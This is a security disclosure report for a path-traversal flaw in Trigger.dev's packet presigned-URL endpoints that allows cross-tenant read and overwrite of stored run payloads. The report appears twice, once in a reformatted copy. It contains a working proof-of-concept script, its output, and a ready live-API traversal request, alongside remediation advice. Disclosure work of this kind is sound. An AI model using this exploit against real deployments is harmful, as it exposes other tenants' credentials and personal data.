Summary
Trigger.dev offloads large task run payloads, outputs and other I/O "packets" to an S3-compatible object store, and exposes presigned-URL endpoints so SDKs and workers can read/write those objects directly. The object key is built as packets/${projectRef}/${envSlug}/${filename}, where projectRef and envSlug are taken from the authenticated caller's own environment but filename is the attacker-controlled * splat segment of the request path, validated only as z.string().
The aws4fetch object-store client (the default backend for self-hosted deployments using static credentials, e.g. the bundled MinIO) constructs the signed request with url.pathname = "/" + key. The WHATWG URL parser normalizes ../ segments in the pathname before the request is signed, so a filename such as ../../proj_VICTIM/prod/run_secret/payload.json resolves the signed key out of the caller's packets/<own-project>/<own-env>/ prefix and into another tenant's prefix. The presigned URL returned to the attacker therefore grants direct cross-tenant read (GET) and write/overwrite (PUT) of arbitrary packet objects belonging to any other organization, project or environment hosted on the same instance.
A valid secret API key for a single environment the attacker legitimately controls (e.g. a free/dev tenant on a shared self-hosted instance) is the only precondition. Run payloads and outputs routinely contain secrets, credentials and PII, so this is a cross-tenant confidentiality and integrity break.
Affected code (v4.4.6)
apps/webapp/app/routes/api.v1.packets.$.ts — both the GET loader and the PUT action take the splat directly and pass it as filename, with no traversal sanitization:
const ParamsSchema = z.object({ "*": z.string() });
// GET loader:
const filename = params["*"];
const signed = await generatePresignedUrl(
authentication.environment.project.externalRef, // caller's own project
authentication.environment.slug, // caller's own env
filename, // ATTACKER-CONTROLLED, e.g. "../../proj_X/prod/run/payload.json"
"GET"
);
// PUT action (forceNoPrefix:true) is identical and yields a cross-tenant write/overwrite URL.
apps/webapp/app/routes/api.v2.packets.$.ts — PUT action, same pattern (filename = parsedParams["*"] → generatePresignedUrl(..., "PUT")).
apps/webapp/app/v3/objectStore.server.ts — the key is assembled by concatenation, no normalization or .. rejection:
const key = `packets/${projectRef}/${envSlug}/${path}`; // path === attacker filename
const url = await client.presign(key, method, 300);
apps/webapp/app/v3/objectStoreClient.server.ts — Aws4FetchClient.presign lets the URL parser collapse ../, and signs the normalized path:
async presign(key, method, expiresIn) {
const url = new URL(this.config.baseUrl);
url.pathname = `/${key}`; // URL parser resolves "../" here, escaping the prefix
url.searchParams.set("X-Amz-Expires", String(expiresIn));
const signed = await this.awsClient.sign(new Request(url, { method }), { aws: { signQuery: true } });
return signed.url; // signature is valid for the *normalized* (victim) path
}
There is no per-object authorization check tying the resolved key back to the authenticated environment: the endpoint trusts the prefix it prepends, and the prefix is defeated by traversal in filename.
Attacker model / precondition
- Who: any tenant holding one valid secret API key (
tr_*) for any single environment they legitimately own on the target instance. On a shared/self-hosted multi-tenant deployment this is simply any registered user with a project. (A public JWT with read: scope works for the GET path as well, since the splat endpoint's findResource is a no-op and PRIVATE keys bypass the scope check entirely.)
- Trigger: one HTTP GET (read) or PUT (overwrite) to
/api/v1/packets/<traversal> (or /api/v2/packets/<traversal> for PUT), then a follow-up request to the returned presigned URL.
- Precondition / honesty: Confirmed against the aws4fetch object-store backend, which is selected whenever static
OBJECT_STORE_ACCESS_KEY_ID/SECRET_ACCESS_KEY are configured — this is the default for the shipped self-hosted stack (hosting/docker/webapp/docker-compose.yml: OBJECT_STORE_BASE_URL=http://minio:9000, MINIO_DEFAULT_BUCKETS: packets, static MinIO creds). Deployments that instead use the AWS SDK backend via the IAM credential chain (no static keys) are less affected, because the AWS SDK transmits .. as literal, percent-encoded key bytes rather than normalizing them. The vulnerable static-credential configuration is the documented and default self-hosted path.
Impact
- Confidentiality (High): read any other tenant's stored packet objects — run payloads and run outputs, which commonly carry API tokens, database credentials, webhook secrets and PII — by guessing/learning the victim's
projectRef/envSlug/runId (run friendly IDs and project refs are low-entropy, predictable identifiers surfaced throughout the API/UI).
- Integrity (High): overwrite any other tenant's packet objects via the PUT presign, corrupting or poisoning another tenant's run payloads/outputs.
- Scope: every organization, project and environment that shares the object-store bucket on the instance — a full cross-tenant isolation break for the I/O store.
Proof of Concept (complete — runs on 127.0.0.1 only)
The PoC stands up a local MinIO (the bundled self-hosted backend) on 127.0.0.1, seeds a victim packet under a different tenant's prefix, then reproduces the exact server code path (generatePresignedRequest key construction + Aws4FetchClient.presign) using an attacker-controlled filename containing ../, and shows the attacker reading the victim's object cross-tenant.
Step 1 — start a local S3-compatible store (lab only, loopback):
docker run -d --name trigger-minio -p 19000:9000 \
-e MINIO_ROOT_USER=minioadmin -e MINIO_ROOT_PASSWORD=minioadmin \
quay.io/minio/minio server /data
Step 2 — install the exact dependency the webapp uses:
mkdir -p poc && cd poc && npm init -y >/dev/null && npm install aws4fetch@^1.0.18
Step 3 — poc.mjs (replicates the vulnerable server code verbatim):
import { AwsClient } from "aws4fetch";
// Mirrors trigger.dev self-hosted default (hosting/docker/webapp/docker-compose.yml):
// OBJECT_STORE_BASE_URL = http://minio:9000 (bare endpoint, NO bucket in path)
// MINIO_DEFAULT_BUCKETS = packets (bucket = "packets")
// OBJECT_STORE_BUCKET is UNSET -> aws4fetch path-style, bucket is first key segment.
const OBJECT_STORE_BASE_URL = "http://127.0.0.1:19000";
const ACCESS = "minioadmin";
const SECRET = "minioadmin";
const aws = new AwsClient({ accessKeyId: ACCESS, secretAccessKey: SECRET, region: "us-east-1", service: "s3" });
// VERBATIM from apps/webapp/app/v3/objectStoreClient.server.ts (Aws4FetchClient.presign)
async function presign(baseUrl, key, method, expiresIn) {
const url = new URL(baseUrl);
url.pathname = `/${key}`; // URL parser resolves "../" here
url.searchParams.set("X-Amz-Expires", String(expiresIn));
const signed = await aws.sign(new Request(url, { method }), { aws: { signQuery: true } });
return signed.url;
}
// VERBATIM from apps/webapp/app/v3/objectStore.server.ts (generatePresignedRequest):
// const key = `packets/${projectRef}/${envSlug}/${path}`;
function packetKey(projectRef, envSlug, path) {
return `packets/${projectRef}/${envSlug}/${path}`;
}
async function rawSign(method, key, body) { // setup-only: seed victim object as an admin would
const url = new URL(OBJECT_STORE_BASE_URL);
url.pathname = `/${key}`;
const req = await aws.sign(new Request(url.toString(), { method, body }));
return fetch(req);
}
async function main() {
let r = await aws.fetch(new Request(`${OBJECT_STORE_BASE_URL}/packets`, { method: "PUT" }));
console.log("create bucket 'packets':", r.status);
// VICTIM packet (different tenant/project/env), as the platform stores run payloads:
const victimKey = packetKey("proj_VICTIM", "prod", "run_secret/payload.json");
const victimSecret = JSON.stringify({ secret: "VICTIM-API-TOKEN-and-PII", ssn: "123-45-6789" });
r = await rawSign("PUT", victimKey, victimSecret);
console.log("seed victim object:", r.status, "->", victimKey);
// ATTACKER holds a valid secret API key for their OWN env only:
const attackerProjectRef = "proj_ATTACKER";
const attackerEnvSlug = "dev";
// ...and controls the `*` splat passed verbatim as `filename`:
const maliciousFilename = "../../proj_VICTIM/prod/run_secret/payload.json";
// exactly what api.v1.packets.$.ts GET loader does:
const key = packetKey(attackerProjectRef, attackerEnvSlug, maliciousFilename);
console.log("\nattacker-supplied raw key:", key);
const signedUrl = await presign(OBJECT_STORE_BASE_URL, key, "GET", 300);
console.log("signed GET path:", new URL(signedUrl).pathname, "(URL parser normalized ../)");
const resp = await fetch(signedUrl);
const text = await resp.text();
console.log("\n=== CROSS-TENANT READ RESULT ===");
console.log("HTTP", resp.status);
console.log("body:", text);
if (resp.status === 200 && text.includes("VICTIM-API-TOKEN")) {
console.log("\n*** CONFIRMED: attacker read another tenant's packet via path traversal ***");
}
}
main().catch((e) => { console.error(e); process.exit(1); });
Step 4 — run and observed output:
$ node poc.mjs
create bucket 'packets': 200
seed victim object: 200 -> packets/proj_VICTIM/prod/run_secret/payload.json
attacker-supplied raw key: packets/proj_ATTACKER/dev/../../proj_VICTIM/prod/run_secret/payload.json
signed GET path: /packets/proj_VICTIM/prod/run_secret/payload.json (URL parser normalized ../)
=== CROSS-TENANT READ RESULT ===
HTTP 200
body: {"secret":"VICTIM-API-TOKEN-and-PII","ssn":"123-45-6789"}
*** CONFIRMED: attacker read another tenant's packet via path traversal ***
End-to-end via the live API (equivalent): with a valid secret key tr_dev_... for the attacker's own environment, GET /api/v1/packets/..%2F..%2Fproj_VICTIM%2Fprod%2Frun_secret%2Fpayload.json (or the raw ../ form) returns {"presignedUrl":"http://.../packets/proj_VICTIM/prod/run_secret/payload.json?X-Amz-..."}, and fetching that URL returns the victim's payload. The PUT variants (/api/v1/packets/<traversal>, /api/v2/packets/<traversal>) return a presigned PUT URL for the same cross-tenant key, enabling overwrite.
Remediation
- Reject any
filename/packet path containing path-traversal or empty segments before building the object key: split on / and refuse any segment equal to "", . or .., refuse leading / and backslashes, and apply the same check to percent-decoded forms (this is exactly what upstream later added in assertRawPacketRelativePathSegments / normalizePacketRelativePath in objectStore.server.ts, and normalizeObjectStoreLogicalKeyPathname in objectStoreClient.server.ts).
- Independently, after assembling and normalizing the final object key, assert that it still begins with the caller's exact
packets/${projectRef}/${envSlug}/ prefix; abort the presign otherwise. Defense-in-depth so a future client backend change cannot reintroduce traversal.
- Do not rely on the storage backend to normalize keys: the aws4fetch path collapses
../ via the URL parser while the AWS SDK path does not, so behaviour diverges per backend — validate at the application layer.
- Consider per-object authorization keyed to the run/batch the packet belongs to, rather than trusting a string prefix, so that knowledge of another tenant's
projectRef/runId alone never grants access.
Note for the maintainers: this is fixed on main by commit db4074df5 ("fix(webapp): validate packet storage paths", PR #3830), first included in tag v4.5.0-rc.5; it is not present in any released stable version <= 4.4.6, and no advisory was published for it.
Please credit 5ud0 / Tarmo Technologies.
Summary
Trigger.dev offloads large task run payloads, outputs and other I/O "packets" to an S3-compatible object store, and exposes presigned-URL endpoints so SDKs and workers can read/write those objects directly. The object key is built as
packets/${projectRef}/${envSlug}/${filename}, whereprojectRefandenvSlugare taken from the authenticated caller's own environment butfilenameis the attacker-controlled*splat segment of the request path, validated only asz.string().The aws4fetch object-store client (the default backend for self-hosted deployments using static credentials, e.g. the bundled MinIO) constructs the signed request with
url.pathname = "/" + key. The WHATWGURLparser normalizes../segments in the pathname before the request is signed, so afilenamesuch as../../proj_VICTIM/prod/run_secret/payload.jsonresolves the signed key out of the caller'spackets/<own-project>/<own-env>/prefix and into another tenant's prefix. The presigned URL returned to the attacker therefore grants direct cross-tenant read (GET) and write/overwrite (PUT) of arbitrary packet objects belonging to any other organization, project or environment hosted on the same instance.A valid secret API key for a single environment the attacker legitimately controls (e.g. a free/dev tenant on a shared self-hosted instance) is the only precondition. Run payloads and outputs routinely contain secrets, credentials and PII, so this is a cross-tenant confidentiality and integrity break.
Affected code (v4.4.6)
apps/webapp/app/routes/api.v1.packets.$.ts— both the GET loader and the PUT action take the splat directly and pass it asfilename, with no traversal sanitization:apps/webapp/app/routes/api.v2.packets.$.ts— PUT action, same pattern (filename = parsedParams["*"]→generatePresignedUrl(..., "PUT")).apps/webapp/app/v3/objectStore.server.ts— the key is assembled by concatenation, no normalization or..rejection:apps/webapp/app/v3/objectStoreClient.server.ts—Aws4FetchClient.presignlets the URL parser collapse../, and signs the normalized path:There is no per-object authorization check tying the resolved key back to the authenticated environment: the endpoint trusts the prefix it prepends, and the prefix is defeated by traversal in
filename.Attacker model / precondition
tr_*) for any single environment they legitimately own on the target instance. On a shared/self-hosted multi-tenant deployment this is simply any registered user with a project. (A public JWT withread:scope works for the GET path as well, since the splat endpoint'sfindResourceis a no-op and PRIVATE keys bypass the scope check entirely.)/api/v1/packets/<traversal>(or/api/v2/packets/<traversal>for PUT), then a follow-up request to the returned presigned URL.OBJECT_STORE_ACCESS_KEY_ID/SECRET_ACCESS_KEYare configured — this is the default for the shipped self-hosted stack (hosting/docker/webapp/docker-compose.yml:OBJECT_STORE_BASE_URL=http://minio:9000,MINIO_DEFAULT_BUCKETS: packets, static MinIO creds). Deployments that instead use the AWS SDK backend via the IAM credential chain (no static keys) are less affected, because the AWS SDK transmits..as literal, percent-encoded key bytes rather than normalizing them. The vulnerable static-credential configuration is the documented and default self-hosted path.Impact
projectRef/envSlug/runId(run friendly IDs and project refs are low-entropy, predictable identifiers surfaced throughout the API/UI).Proof of Concept (complete — runs on 127.0.0.1 only)
The PoC stands up a local MinIO (the bundled self-hosted backend) on
127.0.0.1, seeds a victim packet under a different tenant's prefix, then reproduces the exact server code path (generatePresignedRequestkey construction +Aws4FetchClient.presign) using an attacker-controlledfilenamecontaining../, and shows the attacker reading the victim's object cross-tenant.Step 1 — start a local S3-compatible store (lab only, loopback):
Step 2 — install the exact dependency the webapp uses:
Step 3 —
poc.mjs(replicates the vulnerable server code verbatim):Step 4 — run and observed output:
End-to-end via the live API (equivalent): with a valid secret key
tr_dev_...for the attacker's own environment,GET /api/v1/packets/..%2F..%2Fproj_VICTIM%2Fprod%2Frun_secret%2Fpayload.json(or the raw../form) returns{"presignedUrl":"http://.../packets/proj_VICTIM/prod/run_secret/payload.json?X-Amz-..."}, and fetching that URL returns the victim's payload. The PUT variants (/api/v1/packets/<traversal>,/api/v2/packets/<traversal>) return a presigned PUT URL for the same cross-tenant key, enabling overwrite.Remediation
filename/packet path containing path-traversal or empty segments before building the object key: split on/and refuse any segment equal to"",.or.., refuse leading/and backslashes, and apply the same check to percent-decoded forms (this is exactly what upstream later added inassertRawPacketRelativePathSegments/normalizePacketRelativePathinobjectStore.server.ts, andnormalizeObjectStoreLogicalKeyPathnameinobjectStoreClient.server.ts).packets/${projectRef}/${envSlug}/prefix; abort the presign otherwise. Defense-in-depth so a future client backend change cannot reintroduce traversal.../via the URL parser while the AWS SDK path does not, so behaviour diverges per backend — validate at the application layer.projectRef/runIdalone never grants access.Note for the maintainers: this is fixed on
mainby commitdb4074df5("fix(webapp): validate packet storage paths", PR #3830), first included in tagv4.5.0-rc.5; it is not present in any released stable version<= 4.4.6, and no advisory was published for it.Please credit 5ud0 / Tarmo Technologies.